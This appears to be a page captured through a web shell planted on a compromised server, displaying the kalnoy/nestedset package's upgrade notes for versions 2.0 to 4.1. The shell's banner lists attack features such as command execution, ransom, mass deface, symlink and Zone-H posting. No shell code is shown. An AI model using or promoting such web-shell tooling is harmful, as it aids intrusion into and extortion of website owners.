KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/kalnoy/nestedset/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/kalnoy/nestedset/UPGRADE.markdown


### Upgrading from 4.0 to 4.1

Nested sets feature has been moved to trait `Kalnoy\Nestedset\NodeTrait`, but
old `Kalnoy\Nestedset\Node` class is still available.

Some methods on trait were renamed (see changelog), but still available on legacy
node class.

Default order is no longer applied for `siblings()`, `descendants()`, 
`prevNodes`, `nextNodes`.

### Upgrading to 3.0

Some methods were renamed, see changelog for more details.

### Upgrading to 2.0

Calling `$parent->append($node)` and `$parent->prepend($node)` now automatically
saves `$node`. Those functions returns whether the node was saved.

`ancestorsOf` now return ancestors only, not including target node.

Default order is not applied automatically, so if you need nodes to be in tree-order
you should call `defaultOrder` on the query.

Since root node is not required now, `NestedSet::createRoot` method has been removed.

`NestedSet::columns` now doesn't create a foreign key for a `parent_id` column.

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support